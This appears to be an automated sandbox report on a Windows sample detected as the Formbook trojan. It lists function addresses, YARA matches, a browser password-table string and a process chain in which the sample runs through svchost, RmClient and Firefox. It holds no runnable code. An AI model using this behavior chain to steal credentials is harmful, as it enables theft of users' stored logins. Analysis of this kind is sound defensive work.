Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026630F0	1_2_026630F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0266FE93	1_2_0266FE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0266DF13	1_2_0266DF13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0266FC73	1_2_0266FC73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0266256C	1_2_0266256C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02662510	1_2_02662510
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026765CE	1_2_026765CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026765D3	1_2_026765D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F132D	1_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D34C	1_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FA352	1_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0308739A	1_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031003E6	1_2_031003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030452A0	1_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D2F0	1_2_0305D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030100	1_2_03030100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307516C	1_2_0307516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310B16B	1_2_0310B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304B1B0	1_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031001AA	1_2_031001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F81CC	1_2_030F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF0CC	1_2_030EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F70E9	1_2_030F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FF0E0	1_2_030FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03064750	1_2_03064750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FF7B0	1_2_030FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303C7C0	1_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F16CC	1_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305C6E0	1_2_0305C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F7571	1_2_030F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03100591	1_2_03100591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DD5B0	1_2_030DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FF43F	1_2_030FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F2446	1_2_030F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03031460	1_2_03031460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EE4F6	1_2_030EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FAB40	1_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFB76	1_2_030FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305FB80	1_2_0305FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F6BD7	1_2_030F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307DBF9	1_2_0307DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFA49	1_2_030FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F7A46	1_2_030F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B3A6C	1_2_030B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DDAAC	1_2_030DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03085AA0	1_2_03085AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EDAC6	1_2_030EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03049950	1_2_03049950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B950	1_2_0305B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03056962	1_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310A9A6	1_2_0310A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AD800	1_2_030AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03042840	1_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304A840	1_2_0304A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030268B8	1_2_030268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030438E0	1_2_030438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E8F0	1_2_0306E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFF09	1_2_030FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03082F28	1_2_03082F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060F30	1_2_03060F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B4F40	1_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041F92	1_2_03041F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFFB1	1_2_030FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03032FC8	1_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FEE26	1_2_030FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040E59	1_2_03040E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052E90	1_2_03052E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FCE93	1_2_030FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03049EB0	1_2_03049EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FEEDB	1_2_030FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304AD00	1_2_0304AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03043D40	1_2_03043D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F1D5A	1_2_030F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F7D73	1_2_030F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03058DBF	1_2_03058DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305FDC0	1_2_0305FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303ADE0	1_2_0303ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040C00	1_2_03040C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B9C32	1_2_030B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0CB5	1_2_030E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030CF2	1_2_03030CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFCF2	1_2_030FFCF2
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E132D	6_2_030E132D
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0301D34C	6_2_0301D34C
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EA352	6_2_030EA352
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0307739A	6_2_0307739A
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030F03E6	6_2_030F03E6
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0303E3F0	6_2_0303E3F0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030D0274	6_2_030D0274
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030352A0	6_2_030352A0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0304B2C0	6_2_0304B2C0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030D12ED	6_2_030D12ED
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0304D2F0	6_2_0304D2F0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03020100	6_2_03020100
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030CA118	6_2_030CA118
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030FB16B	6_2_030FB16B
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0306516C	6_2_0306516C
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0301F172	6_2_0301F172
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030F01AA	6_2_030F01AA
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0303B1B0	6_2_0303B1B0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E81CC	6_2_030E81CC
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030DF0CC	6_2_030DF0CC
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030370C0	6_2_030370C0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E70E9	6_2_030E70E9
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EF0E0	6_2_030EF0E0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03054750	6_2_03054750
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03030770	6_2_03030770
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EF7B0	6_2_030EF7B0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0302C7C0	6_2_0302C7C0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E16CC	6_2_030E16CC
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0304C6E0	6_2_0304C6E0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03030535	6_2_03030535
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E7571	6_2_030E7571
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030F0591	6_2_030F0591
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030CD5B0	6_2_030CD5B0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EF43F	6_2_030EF43F
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E2446	6_2_030E2446
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03021460	6_2_03021460
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030DE4F6	6_2_030DE4F6
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EAB40	6_2_030EAB40
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EFB76	6_2_030EFB76
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0304FB80	6_2_0304FB80
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E6BD7	6_2_030E6BD7
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0306DBF9	6_2_0306DBF9
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EFA49	6_2_030EFA49
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E7A46	6_2_030E7A46
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030A3A6C	6_2_030A3A6C
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0302EA80	6_2_0302EA80
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030CDAAC	6_2_030CDAAC
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03075AA0	6_2_03075AA0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030DDAC6	6_2_030DDAC6
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03039950	6_2_03039950
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0304B950	6_2_0304B950
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03046962	6_2_03046962
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030329A0	6_2_030329A0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030FA9A6	6_2_030FA9A6
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03032840	6_2_03032840
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0303A840	6_2_0303A840
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030168B8	6_2_030168B8
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030338E0	6_2_030338E0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0305E8F0	6_2_0305E8F0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EFF09	6_2_030EFF09
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03050F30	6_2_03050F30
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030A4F40	6_2_030A4F40
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03031F92	6_2_03031F92
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EFFB1	6_2_030EFFB1
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03022FC8	6_2_03022FC8
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EEE26	6_2_030EEE26
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03030E59	6_2_03030E59
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03042E90	6_2_03042E90
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030ECE93	6_2_030ECE93
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03039EB0	6_2_03039EB0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EEEDB	6_2_030EEEDB
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0303AD00	6_2_0303AD00
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03033D40	6_2_03033D40
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E1D5A	6_2_030E1D5A
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030E7D73	6_2_030E7D73
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03048DBF	6_2_03048DBF
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0304FDC0	6_2_0304FDC0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0302ADE0	6_2_0302ADE0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03030C00	6_2_03030C00
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030A9C32	6_2_030A9C32
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030D0CB5	6_2_030D0CB5
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03020CF2	6_2_03020CF2
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030EFCF2	6_2_030EFCF2
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00531990	6_2_00531990
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00535040	6_2_00535040
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0053321B	6_2_0053321B
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00533220	6_2_00533220
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0054B670	6_2_0054B670
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0052C8C0	6_2_0052C8C0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0052CAE0	6_2_0052CAE0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0052AB60	6_2_0052AB60
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1E257	6_2_00D1E257
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1E373	6_2_00D1E373
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1E4DB	6_2_00D1E4DB
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D25451	6_2_00D25451
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1D778	6_2_00D1D778
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1E718	6_2_00D1E718
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1E70C	6_2_00D1E70C
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1CA33	6_2_00D1CA33
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAFA4DB	8_2_00000247FBAFA4DB
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBB01451	8_2_00000247FBB01451
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAFA373	8_2_00000247FBAFA373
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAF9778	8_2_00000247FBAF9778
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAFA70C	8_2_00000247FBAFA70C
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAFA718	8_2_00000247FBAFA718
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAFA257	8_2_00000247FBAFA257
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_00000247FBAF8A33	8_2_00000247FBAF8A33

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030AEA12 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0302B970 appears 248 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03075130 appears 36 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03087E54 appears 85 times
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: String function: 0301B970 appears 248 times
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: String function: 03077E54 appears 85 times
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: String function: 0309EA12 appears 84 times
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: String function: 030AF290 appears 103 times
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: String function: 03065130 appears 36 times

Source: w64HYOhfv1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.2660000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.2660000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@17/11

Source: C:\Users\user\Desktop\w64HYOhfv1.exe

File created: C:\Users\user\AppData\Local\Temp\ambiparous

Source: w64HYOhfv1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\w64HYOhfv1.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\w64HYOhfv1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B90000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4129491056.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2149425938.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: w64HYOhfv1.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\w64HYOhfv1.exe

File read: C:\Users\user\Desktop\w64HYOhfv1.exe

Source: unknown	Process created: C:\Users\user\Desktop\w64HYOhfv1.exe "C:\Users\user\Desktop\w64HYOhfv1.exe"
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\w64HYOhfv1.exe"
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Process created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"
Source: C:\Windows\SysWOW64\RmClient.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\w64HYOhfv1.exe"	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Process created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wininet.dll	Jump to behavior
